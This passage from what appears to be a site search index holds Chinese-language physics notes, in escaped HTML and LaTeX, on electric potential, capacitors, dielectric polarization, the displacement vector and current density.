\u662f\u7535\u56db\u5076\u6781\u77e9</p> <p>Key-point</p> <p>\u5bf9\u4e8e\u70b9\u7535\u8377\uff0c \\(V \\propto \\frac{1}{r}\\), \u5bf9\u4e8e\u7535\u5076\u6781\u77e9\uff0c\\(V \\propto \\frac{1}{r^2}\\), \u5bf9\u4e8e\u7535\u56db\u5076\u6781\u77e9\uff0c\\(V \\propto \\frac{1}{r^3}\\)</p> \u901a\u8fc7\u6d4b\u91cf\u7535\u52bf\u5224\u65ad\u7535\u8377\u7684\u5206\u5e03 <p>$$   V\\left(r\\right)= \\frac{1}{4 \\pi \\epsilon_0} \\left( \\frac{A_1}{r} + \\frac{A_2}{r^2} + \\frac{A_3}{r^3} + \\dots \\right) \\       = \\frac{1}{4 \\pi \\epsilon_0} \\sum_i \\frac{A_i}{r^i}   $$</p>"},{"location":"NOTE/Physics/eletronic/#_7","title":"\u7403\u58f3\u7684\u7535\u52bf","text":"<p>\u5229\u7528Guass\u5b9a\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u7403\u58f3\u7684\u7535\u573a\u5206\u5e03\uff1a</p> <p>\u5728\u7403\u58f3\u5185\u90e8\uff0c\u7535\u573a\u4e3a0\uff0c\u5728\u7403\u58f3\u5916\u90e8\uff0c\u7535\u573a\u4e3a\u70b9\u7535\u8377\u4ea7\u751f\u7684\u7535\u573a</p> <p>\u5219\u5bf9\u4e8e\u8ddd\u79bb\u7403\u5fc3\u8ddd\u79bb\u4e3a \\(r\\) \u7684\u70b9\uff0c\u5176\u7535\u52bf\u6709\u4ee5\u4e0b\u4e24\u79cd\u60c5\u51b5</p> <ul> <li>\\(r &lt; R\\)\uff0c\u5219 \\(V = \\int_{r}^{R} E \\cdot dr + \\int_{R}^{+\\infty} E \\cdot dr = 0 + \\frac{q}{4 \\pi \\epsilon_0 R}\\) </li> <li>\\(r &gt; R\\)\uff0c\u5219 \\(V = \\int_{r}^{+\\infty}= \\frac{q}{4 \\pi \\epsilon_0 r}\\) </li> </ul> <p>\u5bf9\u4e8e\u8be5\u7403\u58f3\u7684\u7535\u52bf\u80fd\uff0c\u53ef\u4ee5\u5c06\u5176\u5206\u9694\u4e3a\u5f88\u591a\u4e2a\u5c0f\u7535\u8377\uff0c\u7136\u540e\u5bf9\u6bcf\u4e2a\u5c0f\u7535\u8377\u7684\u7535\u52bf\u80fd\u6c42\u548c\uff0c\u7531\u4e8e\\(ij\\)\u5bf9\u79f0\u6027\uff0c\u8981\u4e58\u4ee5\\(\\frac{1}{2}\\)</p> \\[\\begin{align*} U &amp;= \\sum_{i,j=1 (j &gt; i)}^{n} \\frac{q_i q_j}{4 \\pi \\varepsilon_0 r_{ij}} \\\\   &amp;= \\frac{1}{2} \\sum_{i=1}^{n} \\sum_{j=1}^{n} \\frac{q_i q_j}{4 \\pi \\varepsilon_0 r_{ij}} \\\\   &amp;= \\frac{1}{2} \\sum_{i=1}^{n} q_i V_i \\\\   &amp;= \\frac{1}{2} \\int V dq = \\frac{1}{2} \\cdot \\frac{q}{4 \\pi \\varepsilon_0 R} \\cdot q \\\\   &amp;= \\frac{q^2}{8 \\pi \\varepsilon_0 R} \\end{align*}\\] <p>\u89e3\u91ca</p> <p>\u56fa\u5b9a \\(i\\) ,\u5148\u5bf9 \\(j\\) \u6c42\u548c\uff0c\u76f8\u5f53\u4e8e\u6574\u4e2a\u7403\u58f3\u5728 \\(i\\) \u4ea7\u751f\u7684\u7535\u52bf \\(V_i\\) \uff0c\u518d\u5bf9 \\(i\\) \u6c42\u548c\uff0c\u6b64\u65f6\u7531\u4e8e\u7403\u58f3\u5185\u548c\u7403\u58f3\u4e0a\u7684\u7535\u52bf\u90fd\u662f \\(\\dfrac{q}{4 \\pi \\epsilon_0 R}\\) ,\u6240\u4ee5\u6700\u540e\u53ea\u9700\u8981\u5bf9\u4e8e\u7403\u58f3\u4e0a\u7684\u7535\u8377\u6c42\u548c\u5373\u53ef\uff0c\u901a\u8fc7\u7ed3\u679c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0 \u7535\u52bf\u80fd\u8574\u85cf\u5728\u7535\u573a\u4e2d</p> \u4f30\u7b97\u7535\u5b50\u7684\u534a\u5f84 <p>\u7535\u5b50\u7684\u7535\u52bf\u80fd\u4e0e\u5176\u539f\u5b50\u80fd\u76f8\u7b49\uff0c\u8fd9\u6837\u5904\u4e8e\u5e73\u8861\u72b6\u6001</p> \\[\\begin{align*} W &amp;= mc^2 = \\frac{e^2}{8 \\pi \\varepsilon_0 R} \\\\ R &amp;= \\frac{e^2}{8 \\pi \\varepsilon_0 mc^2} \\approx 1.4 \\times 10^{-15} \\ m \\end{align*}\\]"},{"location":"NOTE/Physics/eletronic/#_8","title":"\u901a\u8fc7\u7535\u52bf\u6c42\u7535\u573a","text":"<p>\u7531\u4e8e\u6211\u4eec\u6709</p> \\[   V_{a}^{b} = -\\int_{a}^{b} \\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] <p>\u6545</p> \\[     dV = -\\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] \\[   \\boldsymbol{E} = - \\frac{dV}{dl}= - \\nabla V \\] <p>\u5373\u6c42\u67d0\u4e00\u65b9\u5411\u7684\u7535\u573a\uff0c\u53ea\u9700\u8981\u6c42\u8be5\u65b9\u5411\u7684\u7535\u52bf\u7684\u504f\u5bfc\u6570\u5373\u53ef</p> <p>\u5c04\u5f71\u6cd5\u6c42\u7535\u573a</p> <p>\u901a\u8fc7\u7535\u573a\u7ebf\u7684\u7c7b\u4f3c\u6027\u6784\u9020\u65b0\u7684\u7535\u8377\u6765\u6c42\u7535\u573a\uff1b\u4f8b\u5982\u611f\u5e94\u5728\u65e0\u7a77\u957f\u7684\u5bfc\u4f53\u677f\u4e0a\u7684\u7535\u573a\uff0c\u53ef\u4ee5\u7c7b\u4f3c\u4e8e\u5728\u5bf9\u79f0\u7684\u4f4d\u7f6e\u4e0a\u653e\u4e0a\u4e00\u4e2a\u70b9\u7535\u8377 </p>"},{"location":"NOTE/Physics/eletronic/#capacitance","title":"Capacitance(\u7535\u5bb9)","text":"<p>Definition</p> <p>\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u5b9a\u4e49\u4e3a</p> \\[ C = \\frac{q}{V} \\] <p>\u5176\u4e2d \\(q\\) \u662f\u7535\u5bb9\u5668\u4e0a\u7684\u7535\u8377\uff0c\\(V\\) \u662f\u7535\u5bb9\u5668\u4e0a\u7684\u7535\u52bf\u5dee</p>"},{"location":"NOTE/Physics/eletronic/#_9","title":"\u5e73\u884c\u677f\u7535\u5bb9\u5668","text":"\\[   V=\\int_{a}^{b} \\boldsymbol{E} \\cdot d\\boldsymbol{l} = E \\cdot d = \\frac{\\sigma}{\\varepsilon_0}d \\] \\[   C = \\frac{q}{V} = \\dfrac{\\sigma A}{\\frac{\\sigma}{\\varepsilon_0}d}= \\frac{\\varepsilon_0 A}{d} \\] <p>\u6545\u5e73\u884c\u677f\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u4e0e\u677f\u7684\u9762\u79ef\u6210\u6b63\u6bd4\uff0c\u4e0e\u677f\u7684\u8ddd\u79bb\u6210\u53cd\u6bd4\uff0c\u5373\u4e0e\u7535\u5bb9\u5668\u7684\u51e0\u4f55\u53c2\u6570\u6709\u5173</p>"},{"location":"NOTE/Physics/eletronic/#_10","title":"\u5706\u67f1\u7535\u5bb9\u5668","text":"<p>\u9996\u5148\u7528\u9ad8\u65af\u5b9a\u5f8b\u8ba1\u7b97\u7535\u573a</p> \\[   E \\cdot 2 \\pi r l = \\frac{\\lambda l}{\\varepsilon_0} \\Rightarrow E = \\frac{\\lambda}{2 \\pi \\varepsilon_0 r} \\] \\[   V = \\int_{a}^{b} E \\cdot dr = \\int_{a}^{b} \\frac{\\lambda}{2 \\pi \\varepsilon_0 r} dr = \\frac{\\lambda}{2 \\pi \\varepsilon_0} \\ln \\frac{b}{a} \\] \\[   C = \\frac{q=\\lambda l}{V} = \\frac{2 \\pi \\varepsilon_0 l}{\\ln \\frac{b}{a}} \\] <p>\u90a3\u4e48\u5bf9\u4e8e\u5355\u4f4d\u957f\u5ea6\u7684\u7535\u5bb9\uff0c\u6709</p> \\[   C' = \\frac{C}{l} = \\frac{2 \\pi \\varepsilon_0}{\\ln \\frac{b}{a}} \\]"},{"location":"NOTE/Physics/eletronic/#_11","title":"\u7403\u5f62\u7535\u5bb9\u5668","text":"\\[   E \\cdot 4 \\pi r^2 = \\frac{q}{\\varepsilon_0} \\Rightarrow E = \\frac{q}{4 \\pi \\varepsilon_0 r^2} \\] \\[   V = \\int_{a}^{b} E \\cdot dr = \\int_{a}^{b} \\frac{q}{4 \\pi \\varepsilon_0 r^2} dr = \\frac{q}{4 \\pi \\varepsilon_0} \\left( \\frac{1}{a} - \\frac{1}{b} \\right) \\] \\[   C = \\frac{q}{V} = 4 \\pi \\varepsilon_0 \\frac{ab}{b-a} \\] <p>Property</p> <p>\u7279\u522b\u7684\uff0c\u5f53 \\(b \\to \\infty\\) \u65f6\uff0c\\(C = 4 \\pi \\varepsilon_0 a\\),\u8fd9\u8bf4\u660e\u7535\u5bb9\u5e76\u4e0d\u4e00\u5b9a\u9700\u8981\u4e24\u4e2a\uff0c\u4e00\u4e2a\u5bfc\u4f53\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u7535\u5bb9</p>"},{"location":"NOTE/Physics/eletronic/#_12","title":"\u7535\u5bb9\u5668\u7684\u5e76\u8054\u548c\u4e32\u8054","text":""},{"location":"NOTE/Physics/eletronic/#_13","title":"\u5e76\u8054(\u7535\u538b\u4e00\u81f4)","text":"\\[   V=\\frac{Q_1}{C_1}=\\frac{Q_2}{C_2} \\Rightarrow Q = Q_1 + Q_2 = C_1 V + C_2 V = (C_1 + C_2) V \\] \\[   C = \\frac{Q}{V} = C_1 + C_2 \\]"},{"location":"NOTE/Physics/eletronic/#_14","title":"\u4e32\u8054(\u7535\u8377\u4e00\u81f4)","text":"\\[   Q = Q_1 = Q_2 = C_1 V_1 = C_2 V_2 \\] \\[   V = V_1 + V_2 = \\frac{Q}{C_1} + \\frac{Q}{C_2} = Q \\left( \\frac{1}{C_1} + \\frac{1}{C_2} \\right) \\] \\[   C = \\frac{Q}{V} = \\frac{1}{\\frac{1}{C_1} + \\frac{1}{C_2}} \\] \\[   \\frac{1}{C} = \\frac{1}{C_1} + \\frac{1}{C_2} \\] <p>Key-point</p> <p>\u4e32\u8054\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u662f\u5e76\u8054\u7535\u5bb9\u5668\u7684\u5012\u6570\u7684\u548c\uff0c\u800c\u5e76\u8054\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u662f\u4e32\u8054\u7535\u5bb9\u5668\u7684\u548c\uff0c\u8fd9\u6070\u597d\u8ddf\u7535\u963b\u7684\u4e32\u8054\u548c\u5e76\u8054\u76f8\u53cd</p>"},{"location":"NOTE/Physics/eletronic/#_15","title":"\u7535\u5bb9\u5668\u7684\u80fd\u91cf","text":"<p>\u8003\u8651\u4e00\u4e2a\u5e73\u884c\u677f\u7535\u5bb9\u5668\uff0c\u5176\u7535\u5bb9\u4e3a \\(C\\)\uff0c\u7535\u538b\u4e3a \\(V\\)\uff0c\u5219\u5176\u5177\u6709\u7684\u80fd\u91cf\u76f8\u5f53\u4e8e\u4ece\u8d1f\u6781\u677f\u4e0d\u65ad\u5c06\u7535\u8377\u79fb\u52a8\u5230\u6b63\u6781\u677f\uff0c\u8fd9\u6837\u7684\u8fc7\u7a0b\u4e2d\u514b\u670d\u7535\u573a\u529b\u6240\u505a\u7684\u529f</p> \\[   U= \\int_{0}^{Q} V dq = \\int_{0}^{Q} \\frac{q}{C} dq = \\frac{Q^2}{2C} = \\frac{1}{2} CV^2 \\] <p>\u5b83\u7684\u80fd\u91cf\u50a8\u5b58\u5728\u5b83\u7684\u7535\u573a\u4e2d\uff1b\u7531\u4e8e\\(V=Ed\\);</p> \\[   U = \\frac{1}{2} \\varepsilon_0 E^2 A d \\] <p>\u8fd9\u6837\u5c31\u5f97\u5230\u5355\u4f4d\u4f53\u79ef\u7684\u7535\u573a\u80fd\u91cf\u5bc6\u5ea6</p> <p>Key-point</p> \\[   \\mu=\\frac{U}{V} = \\frac{1}{2} \\varepsilon_0 E^2  \\] <p>Warning</p> <p>\u867d\u7136\u516c\u5f0f\u662f\u7531\u5e73\u884c\u677f\u7535\u5bb9\u5668\u63a8\u5bfc\u51fa\u6765\u7684\uff0c\u4f46\u662f\u8fd9\u4e2a\u516c\u5f0f\u4ee5\u53ca\u80fd\u91cf\u5bc6\u5ea6\u516c\u5f0f\u5bf9\u4e8e\u4efb\u4f55\u7535\u5bb9\u5668\u90fd\u662f\u6210\u7acb\u7684</p>"},{"location":"NOTE/Physics/eletronic/#_16","title":"\u7535\u4ecb\u8d28\uff0c\u7535\u573a\u4e2d\u7684\u7edd\u7f18\u4f53","text":"<p>\u5f71\u54cd\u7535\u5bb9\u8fd8\u6709\u53e6\u5916\u4e00\u4e2a\u5341\u5206\u91cd\u8981\u7684\u56e0\u7d20\uff0c\u4ecb\u7535\u5e38\u6570\\(\\kappa_e\\),\u5f53\u7535\u5bb9\u5668\u4e2d\u63d2\u5165\u7535\u4ecb\u8d28\u65f6\uff0c\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u4f1a\u589e\u52a0\uff0c\u5177\u4f53\u4e3a</p> \\[   C=C_0 \\kappa_e \\]"},{"location":"NOTE/Physics/eletronic/#_17","title":"\u5b8f\u89c2\u89e3\u91ca","text":"<ul> <li>\u5728\u5e73\u884c\u677f\u7535\u5bb9\u5668\u4e2d\u63d2\u5165\u4e00\u6839\u5bfc\u4f53\uff0c\u5176\u8868\u9762\u4f1a\u4ea7\u751f\u611f\u5e94\u7535\u8377\uff0c\u76f8\u5f53\u4e8e\u4e24\u4e2a\u7535\u5bb9\u5668\u4e32\u8054</li> </ul> \\[\\begin{align*}   C_1 &amp;= \\varepsilon_0 \\frac{A}{d_1} \\\\   C_2 &amp;= \\varepsilon_0 \\frac{A}{d_2} \\\\   C&amp;=\\frac{C_1C_2}{C_1+C_2}=\\varepsilon_0 \\frac{A}{d_1+d_2} \\end{align*}\\] <p>\u7535\u5bb9\u53d8\u5927\u4e86\uff0c\u4f46\u662f\u4e0d\u80fd\u63d2\u5165\u7684\u5bfc\u4f53\u4e0d\u80fd\u592a\u539a\uff0c\u5426\u5219\u95f4\u9699\u592a\u5c0f\uff0c\u5f88\u5bb9\u6613\u5c31\u8fbe\u5230\u7a7a\u6c14\u7684\u51fb\u7a7f\u7535\u538b\uff0c\u6240\u4ee5\u5373\u4f7f\u5bfc\u4f53\u80fd\u5f88\u5f88\u597d\u7684\u589e\u52a0\u7535\u5bb9\uff0c\u6211\u4eec\u4e5f\u4e0d\u4f7f\u7528\uff0c\u800c\u662f\u4f7f\u7528\u5176\u4ed6\u7684\u7535\u4ecb\u8d28</p> <ul> <li>\u5728\u5e73\u884c\u677f\u7535\u5bb9\u5668\u4e2d\u63d2\u5165\u4e00\u6839\u7535\u4ecb\u8d28\uff0c\u4f7f\u5176\u5145\u6ee1\u95f4\u9699\uff1b\u5176\u8868\u9762\u4f1a\u4ea7\u751f\u675f\u7f1a\u7535\u8377\uff0c\u5728\u4ecb\u8d28\u4e4b\u95f4\u4f1a\u4ea7\u751f\u611f\u5e94\u7535\u573a\uff0c\u62b5\u6d88\u6389\u539f\u7535\u573a\u7684\u4e00\u90e8\u5206\uff08\u4f46\u662f\u4e0d\u4e3a0\uff09\uff1b\u4e24\u6781\u677f\u95f4\u7684\u7535\u573a\u51cf\u5c0f\uff0c\u7535\u538b\u51cf\u5c0f\uff0c\u7535\u8377\u91cf\u4e0d\u53d8\uff0c\u7535\u5bb9\u589e\u5927\uff1b\u6b64\u65f6\u6211\u4eec\u79f0\u8be5\u4ecb\u8d28\u88ab\u6781\u5316(polarization)\u4e86</li> </ul> <p>Info</p> <p>\u5176\u5b9e\uff0c\u5728\u82f1\u6587\u7684\u6559\u6750\u4e2d\uff0c\u4e0d\u7ba1\u662f\u611f\u5e94\u7535\u8377\u8fd8\u662f\u675f\u7f1a\u7535\u8377\uff0c\u90fd\u4f7f\u7528 induced charge \u6765\u8868\u793a\uff0c\u5728\u4e2d\u6587\u4e2d\uff0c\u6211\u4eec\u4e3a\u4e86\u533a\u5206\u5bfc\u4f53\u4ea7\u751f\u7684\u4e0e\u975e\u5bfc\u4f53\u4ea7\u751f\u7684\uff0c\u6240\u4ee5\u4f7f\u7528\u4e86\u4e0d\u540c\u7684\u8bcd\u6c47</p>"},{"location":"NOTE/Physics/eletronic/#_18","title":"\u6781\u5316\u5fae\u89c2\u89e3\u91ca","text":"<p>Definiton</p> <ul> <li>Non-polar dielectrics:\u65e0\u6781\u5206\u5b50\u7535\u4ecb\u8d28\uff0c\u6307\u7684\u662f\u5206\u5b50\u4e2d\u7684\u6b63\u8d1f\u7535\u8377\u4e2d\u5fc3\u91cd\u5408\uff0c\u5982\u6c27\u6c14\uff0c\u6c2e\u6c14\uff0c \u4e8c\u6c27\u5316\u78b3\u7b49</li> <li>Polar dielectrics:\u6709\u6781\u5206\u5b50\u7535\u4ecb\u8d28\uff0c\u6307\u7684\u662f\u5206\u5b50\u4e2d\u7684\u6b63\u8d1f\u7535\u8377\u4e2d\u5fc3\u4e0d\u91cd\u5408\uff0c\u5982\u6c34</li> </ul> <p>\u5bf9\u4e8e Non-polar dielectrics\uff0c\u5f53\u7535\u573a\u4f5c\u7528\u4e8e\u5176\u4e0a\u65f6\uff0c\u5b83\u4f1a\u5c06\u91cd\u5408\u7684\u6b63\u8d1f\u7535\u8377\u4e2d\u5fc3\u5206\u5f00\uff0c\u5f62\u6210\u7535\u5076\u6781\u77e9\uff0c\u8fd9\u6837\u5c31\u4f1a\u4ea7\u751f\u4e00\u4e2a\u4e0e\u7535\u573a\u65b9\u5411\u76f8\u53cd\u7684\u7535\u573a\uff0c\u4ece\u800c\u51cf\u5c0f\u4e86\u7535\u573a\u5f3a\u5ea6(\u5185\u90e8\u7684\u7535\u573a\u77e2\u91cf\u6c42\u548c\u4e4b\u540e\uff0c\u76f8\u5f53\u4e8e\u5728\u8868\u9762\u5206\u522b\u4ea7\u751f\u6b63\u8d1f\u7535\u8377)</p> <p>Note</p> <p>\u5176\u672c\u8d28\u662f\u7535\u5b50\u4e91\u4f4d\u79fb\u7684\u7ed3\u679c</p> <p>\u5bf9\u4e8e Polar dielectrics\uff0c\u5f53\u7535\u573a\u4f5c\u7528\u4e8e\u5176\u4e0a\u65f6\uff0c\u5b83\u4f1a\u7ed9\u539f\u672c\u6742\u4e71\u65e0\u7ae0\u7684\u7535\u5076\u6781\u77e9\u4e00\u4e2a\u529b\u77e9\uff0c\u8fd9\u4e2a\u529b\u77e9\u4f1a\u4f7f\u5f97\u7535\u5076\u6781\u77e9\u504f\u5411\u7535\u573a\u65b9\u5411\uff0c\u8fd9\u6837\u7684\u6781\u5316\u53eb\u505a \u53d6\u5411\u6781\u5316</p> <p>Note</p> <p>\u5f53\u53d6\u5411\u6781\u5316\u53d1\u751f\u65f6\uff0c\u7535\u5b50\u4e91\u7684\u4f4d\u79fb\u4e5f\u4f1a\u53d1\u751f\uff0c\u4f46\u662f\u5f7c\u6b64\u5dee\u4e86\u4e24\u4e2a\u91cf\u7ea7\uff0c\u4e00\u822c\u5ffd\u7565\u4e86\u7535\u5b50\u4e91\u7684\u4f4d\u79fb\uff1b\u4f46\u662f\u5f53\u5916\u90e8\u7535\u573a\u53d8\u5316\u9891\u7387\u5f88\u5927\u65f6\uff0c\u7535\u5076\u6781\u77e9\u8f6c\u6765\u8f6c\u53bb\u662f\u8ddf\u4e0d\u4e0a\u7684\uff0c\u4f46\u662f\u7535\u5b50\u4e91\u7684\u5de6\u53f3\u79fb\u52a8\u662f\u53ef\u4ee5\u7684\uff0c\u8fd9\u65f6\u5019\u7535\u5b50\u4e91\u7684\u4f4d\u79fb\u662f\u4e3b\u8981\u5f71\u54cd\u7684\u56e0\u7d20</p>"},{"location":"NOTE/Physics/eletronic/#polarization","title":"\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf(Polarization)","text":"<p>Definition</p> <p>\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf \\(\\boldsymbol{P}\\) \u5b9a\u4e49\u4e3a\u5355\u4f4d\u4f53\u79ef\u5185\u7684\u7535\u5076\u6781\u77e9\u4e4b\u548c</p> \\[ \\boldsymbol{P} = \\frac{\\sum \\boldsymbol{p}}{\\Delta V} \\] <p>\u5176\u4e2d \\(\\boldsymbol{p}\\) \u662f\u5355\u4f4d\u4f53\u79ef\u5185\u7684\u7535\u5076\u6781\u77e9;</p> <p>\\(P\\) \u53ef\u80fd\u662f\u5747\u5300\u7684\uff0c\u4e5f\u53ef\u80fd\u662f\u4e0d\u5747\u5300\u7684</p> <p>\u5bf9\u4e8e\u4efb\u610f\u7684\u7535\u4ecb\u8d28\uff0c\u5728\u5176\u8868\u9762\u53d6\u4e00\u4e2a\u5c0f\u659c\u5706\u7b52\uff0c\u6bcd\u7ebf\u4e0e\u7535\u573a\u65b9\u5411\u4e00\u81f4\uff0c\u957f\u5ea6\u4e3a\u4e00\u4e2a\u7535\u5076\u957f\u5ea6\uff1b\u5e95\u9762\u4e0e\u8be5\u8868\u9762\u7684\u6cd5\u5411\u91cf\u5782\u76f4\uff0c\u8fd9\u6837\u659c\u659c\u5706\u7b52\u5185\u53ea\u53ef\u80fd\u6709\u6b63\u7535\u8377\uff1b</p> <p>\u8bbe \\(n\\) \u4e3a\u5355\u4f4d\u4f53\u79ef\u5185\u7684\u7535\u5076\u6781\u77e9\u6570\u76ee(\u5206\u5b50\u6570\u76ee) \u5219</p> \\[\\begin{align*}     \\boldsymbol{P} &amp;= \\frac{\\sum \\boldsymbol{p}}{\\Delta V} = nql\\\\     dN&amp;=ndV=nldA \\cos \\theta \\\\     dq'&amp;=qdN=nql dA\\cos \\theta \\\\        &amp;=\\boldsymbol{p} \\cdot \\boldsymbol{dA} \\end{align*}\\] <p>\u6240\u4ee5</p> \\[   \\oiint \\boldsymbol{P} \\cdot d\\boldsymbol{A} = \\sum_{out} q'=-\\sum_{in} q' \\] <p>Key-point</p> <p>\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf\u4e0e\u95ed\u5408\u66f2\u9762\u7684\u5185\u79ef\u79ef\u5206\u7b49\u4e8e\u8be5\u66f2\u9762\u8868\u9762\u7684\u675f\u7f1a\u7535\u8377\uff0c\u7b49\u4e8e\u8be5\u66f2\u9762\u5185\u90e8\u7535\u8377\u7684\u76f8\u53cd\u6570(\u5916\u9762\u6709\u591a\u5c11\u6b63\u7684\uff0c\u91cc\u9762\u5c31\u6709\u591a\u5c11\u8d1f\u7684)</p> <p>\u540c\u65f6</p> \\[    \\sigma' = \\dfrac{dq'}{dA} = \\boldsymbol{P} \\cdot \\boldsymbol{n} \\] <p>\u9762\u7535\u8377\u5bc6\u5ea6\u7b49\u4e8e\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf\u5728\u6cd5\u5411\u4e0a\u7684\u5206\u91cf\uff1b\u7531\u5939\u89d2\u6765\u63a7\u5236\u6b63\u8d1f</p>"},{"location":"NOTE/Physics/eletronic/#_19","title":"\u7535\u4ecb\u8d28\u7684\u6781\u5316\u89c4\u5f8b","text":"<p>Definition</p> <p>\u5728\u5404\u5411\u5f02\u6027\u7684\u4ecb\u8d28\u4e2d\uff0c\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf\u662f\u7535\u573a\u7684\u51fd\u6570\uff0c\u5728\u5404\u9879\u540c\u6027\u7684\u6750\u6599\u4e2d\\(\\boldsymbol{P}=\\varepsilon_0 \\chi_e E\\)</p> <p>\u5176\u4e2d \\(\\chi_e\\) \u662f\u7535\u4ecb\u8d28\u7684\u7535\u6781\u5316\u7387\uff0c\u4e0e\u4ecb\u7535\u5e38\u6570\u7684\u5173\u7cfb\u4e3a \\(\\kappa_e = 1 + \\chi_e\\)</p>"},{"location":"NOTE/Physics/eletronic/#guass","title":"Guass\u5b9a\u5f8b\u7684\u63a8\u5e7f","text":"<p>\u8003\u8651\u4e00\u4e2a\u6b63\u7535\u8377 \\(q_0\\) \u653e\u5728\u7535\u4ecb\u8d28\u4e2d\uff0c\u5176\u5468\u56f4\u4f1a\u4ea7\u751f\u6781\u5316</p> <p>\u7531 \u9ad8\u65af\u5b9a\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230</p> \\[     \\varepsilon_0 \\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = q_0 + q' \\] \\[     \\oiint \\boldsymbol{P} \\cdot d \\boldsymbol{A} = -q' \\] \\[ \\varepsilon_0 \\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = q_0 - \\oiint \\boldsymbol{P} \\cdot d\\boldsymbol{A} \\] \\[  \\oiint(\\varepsilon_0 \\boldsymbol{E} + \\boldsymbol{P}) \\cdot d\\boldsymbol{A} = q_0 \\] \\[ \\oiint \\boldsymbol{D} \\cdot d\\boldsymbol{A} = q_0 \\] <p>\u5176\u4e2d \\(\\boldsymbol{D} = \\varepsilon_0 \\boldsymbol{E} + \\boldsymbol{P}\\) \u79f0\u4e3a\u7535\u4f4d\u79fb\u77e2\u91cf\uff0c\u4e5f\u53eb\u505a\u7535\u611f\u5e94\u77e2\u91cf</p> <p>\u8fd9\u8bf4\u660e\u7535\u4f4d\u79fb\u77e2\u91cf\u4e0e\u95ed\u5408\u66f2\u9762\u5185\u79ef\u9762\u79ef\u5206\u7b49\u4e8e\u8be5\u66f2\u9762\u5185\u7684 \u81ea\u7531\u7535\u8377 \u4e4b\u548c</p> <p>Key-point</p> \\[   \\boldsymbol{D} = \\varepsilon_0 \\boldsymbol{E} + \\boldsymbol{P} = (1+ \\chi_e)\\varepsilon_0 \\boldsymbol{E} =\\kappa_e \\varepsilon_0 \\boldsymbol{E} \\] <p>Example</p> <p>\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d</p> \\[\\begin{align*}   \\oiint \\vec{D} \\cdot d\\vec{A} &amp;= \\sum q_0 \\\\   4 \\pi r^2 D &amp;= q_0 \\\\   D &amp;= \\frac{q_0}{4 \\pi r^2} \\\\   E &amp;= \\frac{D}{\\kappa_e \\varepsilon_0} = \\frac{q_0}{4 \\pi \\varepsilon_0 \\kappa_e r^2} = \\frac{E_0}{\\kappa_e} \\end{align*}\\] <p>Note</p> <p>\\(E\\)\u662f\u771f\u5b9e\u7535\u573a\uff0c\\(E_0\\)\u771f\u7a7a\u4e2d\u7684\u7535\u573a</p>"},{"location":"NOTE/Physics/eletronic/#_20","title":"\u6052\u5b9a\u7535\u6d41","text":""},{"location":"NOTE/Physics/eletronic/#_21","title":"\u7535\u6d41\u4e0e\u7535\u6d41\u5bc6\u5ea6","text":"<p>\u7535\u6d41</p> <p>\u7535\u6d41\u5b9a\u4e49\u4e3a\u5355\u4f4d\u65f6\u95f4\u5185\u901a\u8fc7\u67d0\u4e00\u6a2a\u622a\u9762\u7684\u7535\u8377\u91cf</p> \\[ I = \\frac{dq}{dt} \\] <p>\u82e5\u5355\u4f4d\u4f53\u79ef\u5185\u7535\u8377\u6570\u76ee\u4e3a \\(n\\)\uff0c\u622a\u9762\u8868\u9762\u79ef\u4e3a \\(s\\) \u7535\u8377\u4e3a \\(e\\)\uff0c\u901f\u5ea6\u4e3a \\(v\\)\uff0c\u5219\u7535\u6d41\u4e3a</p> \\[ I = nesv \\] <p>\u7535\u6d41\u5bc6\u5ea6</p> <p>\u7535\u6d41\u5bc6\u5ea6\u5b9a\u4e49\u4e3a\u5355\u4f4d\u65f6\u95f4\u5185\u901a\u8fc7\u5355\u4f4d\u9762\u79ef\u7684\u7535\u8377\u91cf</p> \\[ \\boldsymbol{J} = \\frac{d\\boldsymbol{I}}{d\\boldsymbol{A}} \\] <p>\u5176\u4e2d \\(\\boldsymbol{J}\\) \u662f\u7535\u6d41\u5bc6\u5ea6\uff0c\\(\\boldsymbol{I}\\) \u662f\u7535\u6d41\uff0c\\(\\boldsymbol{A}\\) \u662f\u6a2a\u622a\u9762\u79ef</p> <p>\u6709\uff1a</p> \\[    i=\\oiint \\boldsymbol{J} \\cdot d\\boldsymbol{A} \\] <p>\u5728\u5fae\u5c0f\u53d8\u5316\u4e2d\uff0c\u6709</p> \\[   j = nev \\]"},{"location":"NOTE/Physics/eletronic/#_22","title":"\u7535\u963b\u4e0e\u7535\u5bfc","text":"<p>\u7535\u963b\u7684\u5b9a\u4e49\u5f0f</p> \\[   R = \\frac{dV}{dI} \\] <p>\u7535\u963b\u662f\u51b3\u5b9a\u5f0f</p> \\[   R = \\rho \\frac{l}{A} = \\frac{l}{\\sigma A} \\] <p>\u5176\u4e2d \\(\\rho\\) \u662f\u7535\u963b\u7387\uff0c\\(\\sigma\\) \u662f\u7535\u5bfc\u7387</p> <p>\u5bf9\u4e8e\u4e0d\u89c4\u5219\u7269\u4f53\uff0c\u91c7\u7528\u79ef\u5206\u8ba1\u7b97\u7535\u963b</p> \u8ba1\u7b97\u7535\u963b <p></p> <p>\u5728\u5730\u8d28\u52d8\u63a2\u4e2d\uff0c\u65f6\u5e38\u5229\u7528\u8fd9\u79cd\u65b9\u6cd5\u6765\u52d8\u63a2\u5730\u5e95\u7684\u8d44\u6e90\uff0c\u56e0\u4e3a\u5404\u79cd\u6750\u6599\u7684\u7535\u5bfc\u7387\u4e0d\u540c</p> <p>\u6b27\u59c6\u5b9a\u5f8b\u7684\u5fae\u5206\u5f62\u5f0f</p> \\[    di = \\frac{dv}{R} \\quad dv= E \\cdot dl \\] \\[     